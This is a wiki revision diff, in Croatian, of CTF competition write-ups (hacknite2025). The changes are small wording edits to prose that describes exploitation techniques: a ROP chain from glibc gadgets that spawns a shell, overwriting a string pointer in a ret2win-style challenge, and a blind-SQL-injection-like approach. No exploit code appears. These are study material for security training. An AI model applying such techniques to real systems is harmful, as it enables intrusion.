| Uz zadatak je dan i izvorni kod. | Uz zadatak je dan i izvorni kod. | ||
| - | Rješenje ovog zadatka se temelji na ROP gadgetu kojim se poziva shell, pretraživanjem i sastavljanjem odgovarajućih elemenata iz glibc shared | + | Rješenje ovog zadatka se temelji na ROP gadgetu kojim se poziva shell, pretraživanjem i sastavljanjem odgovarajućih elemenata iz glibc shared |
| Rješenje zadatka je u nastavku. | Rješenje zadatka je u nastavku. | ||
| Line 4824: | Line 5016: | ||
| - | Rješenje ovog zadatka je drugačije od drugih zadataka pisanih u C programskom jeziku, temelji se na [[ret2win|Ret2win]], | + | Rješenje ovog zadatka je drugačije od drugih zadataka pisanih u C programskom jeziku, temelji se na [[ret2win|Ret2win]], |
| - | Predzadnji upit u zadatku (**Ime i prezime> | + | Predzadnji upit u zadatku (**Ime i prezime> |
| Sada kada je prepisana adresa string varijable naziv u objektu mačka (za prvi odabir uzeti 1 - mačka), zadnji unos je upravo unos naziva ljubimca, odnosno zadnji unos će se pohraniti na adresu na koju prepisana string varijabla naziv pokazuje. | Sada kada je prepisana adresa string varijable naziv u objektu mačka (za prvi odabir uzeti 1 - mačka), zadnji unos je upravo unos naziva ljubimca, odnosno zadnji unos će se pohraniti na adresu na koju prepisana string varijabla naziv pokazuje. | ||
| Line 4834: | Line 5026: | ||
| - | Sada je preostalo | + | Preostalo |
| Line 4876: | Line 5068: | ||
| Uz zadatak je dan i izvorni kod zadatka. | Uz zadatak je dan i izvorni kod zadatka. | ||
| - | Potrebno je zabilježiti ispise programa, i iz njih izračunati inicijalni broj dan programu, prema kojemu su određena brzina i početna pozicija sata. | + | Potrebno je zabilježiti ispise programa, i iz njih izračunati inicijalni broj koji je dan programu, prema kojemu su određena brzina i početna pozicija sata. |
| Mogu se zabilježiti prve dvije pozicije i jedna puno kasnija pozicija za izračun parametara. | Mogu se zabilježiti prve dvije pozicije i jedna puno kasnija pozicija za izračun parametara. | ||
| Line 4964: | Line 5156: | ||
| ====Elemental Fighters==== | ====Elemental Fighters==== | ||
| - | Puno rješenje zadatka je napisano | + | Rješenje zadatka |
| Line 4978: | Line 5170: | ||
| - | Tehnika ovog rješenja je slična kao [[blind_sqli|Blind SQL injection]], | + | Tehnika ovog rješenja je slična kao [[blind_sqli|Blind SQL injection]], |
| Line 5053: | Line 5245: | ||
| - | Potrebno je napisati program koji će pronaći validnu konfiguraciju točaka za zadane | + | Potrebno je napisati program koji će pronaći validnu konfiguraciju točaka za zadane |
| Program se može napisati u Pythonu, ili u C-u ili Rustu, u kojem slučaju je skripta puno brža nego ako je napisana Pythonom. | Program se može napisati u Pythonu, ili u C-u ili Rustu, u kojem slučaju je skripta puno brža nego ako je napisana Pythonom. | ||
| - | Python skripta se može pokrenuti s " | + | Python skripta se može pokrenuti s " |
| < | < | ||
| Line 5062: | Line 5254: | ||
| </ | </ | ||
| - | u nastavku je dana Python skripta koja pronalazi validno rješenje ovih uvjeta, koja je kompatibilna s pypy implementacijom. Skripta koristi bruteforce pristup s backtrack algoritmom, bez heuristika. Moguće je napisati skriptu koja koristi prikladne heuristike i puno brže pronalazi validnu konfiguraciju rješenja. | + | U nastavku je dana Python skripta koja pronalazi validno rješenje ovih uvjeta, koja je kompatibilna s pypy implementacijom. Skripta koristi bruteforce pristup s backtrack algoritmom, bez heuristika. Moguće je napisati skriptu koja koristi prikladne heuristike i puno brže pronalazi validnu konfiguraciju rješenja. |
| Line 5272: | Line 5464: | ||
| - | Ako vas zanima više o ovom problemu, probajte napisati algoritam koji brže nalazi validna rješenja i probajte pronaći najveći broj točaka za koji je moguće pronaći validnu konfiguraciju uz iste uvjete prostora i minimalne udaljenosti. Za ovo se preporučuje napisati implementaciju u C programskom jeziku ili u Rustu. | + | Ako vas zanima više, probajte napisati algoritam koji brže nalazi validna rješenja i probajte pronaći najveći broj točaka za koji je moguće pronaći validnu konfiguraciju uz iste uvjete prostora i minimalne udaljenosti. Za ovo se preporučuje napisati implementaciju u C programskom jeziku ili u Rustu. |
hacknite2025.1763061113.txt.gz · Last modified: 2025/12/01 11:40 (external edit)